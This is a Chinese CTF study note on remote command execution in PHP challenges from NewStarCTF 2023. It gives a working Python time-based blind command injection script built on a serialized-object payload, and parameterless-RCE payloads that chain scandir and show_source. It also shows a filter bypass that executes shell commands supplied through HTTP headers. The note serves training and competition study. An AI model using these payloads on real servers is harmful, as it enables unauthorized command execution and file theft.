RCE
RCE:远程命令注入
一些常见考法:
Bash盲注:
import time import requests url="http://51934713-a8a8-4fd7-bef6-8876cee55fdf.node4.buuoj.cn:81/" result = "" for i in range(1,15): for j in range(1, 50):#ascii码表 for k in range(32, 127): k = chr(k) payload = f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi" length = len(payload) payload2 = { "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format( length, payload) } t1 = time.time() r = requests.post(url=url, data=payload2) t2 = time.time() if t2 - t1 > 1.5: result += k print(result) result += " "View Code
参考:
NewStarCTF 2023 公开赛道 WEEK3|WEB R!!!C!!!E!!!M!!!E!!!
NewStarCTF 2023 Week3 官方WriteUp (shimo.im)中的对应攻击脚本(即上述代码)
无参数RCE
即当我们传入的函数不能有参数时:
scandir() print_r(scandir(xxxxxx)); #表示获取某目录下的文件 localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"." current() 返回数组中的当前单元, 默认取第一个值。 file_get_contents() #把整个文件读入一个字符串中; file #把整个文件读入一个数组中; readfile() #读入一个文件并写入到输出缓冲; highlight_file() #对文件进行语法高亮显示; show_source() #对文件进行语法高亮显示; array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。 next()指向数组的下一个元素。 prev() - 将内部指针指向数组中的上一个元素,并输出 current() - 返回数组中的当前元素的值 end() - 将内部指针指向数组中的最后一个元素,并输出 reset() - 将内部指针指向数组中的第一个元素,并输出 each() - 返回当前元素的键名和键值,并将内部指针向前移动 pos() 输出数组中的当前元素的值
可以构造:
?exp=print_r(scandir(current(localeconv()))); //读取当前目录下的文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); //读取flag
参考:
https://blog.csdn.net/qq_20533167/article/details/116945536
https://www.bilibili.com/read/cv18232136
若是无参数RCE过滤了许多东西
<?php highlight_file(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); } }View Code
可以尝试使用以下进行绕过
?star=system(array_rand(array_flip(getallheaders())));
此时,还需要在请求头中随便加入一个键值对,注意,值的部分即是我们想要执行的命令;如 sdv:ls /
还要注意,我们注入的命令时是否执行,是随机的,故而需要多次发包。
参考:
NewStarCTF2023week2-R!!C!!E!!(很细)-CSDN博客
[NewStarCTF 2023] web题解 - overfit.cn (另一种类似的解法)
返回目录标签:03,元素,result,数组,time,RCE,array From: https://www.cnblogs.com/yiyajinluo/p/17822686.html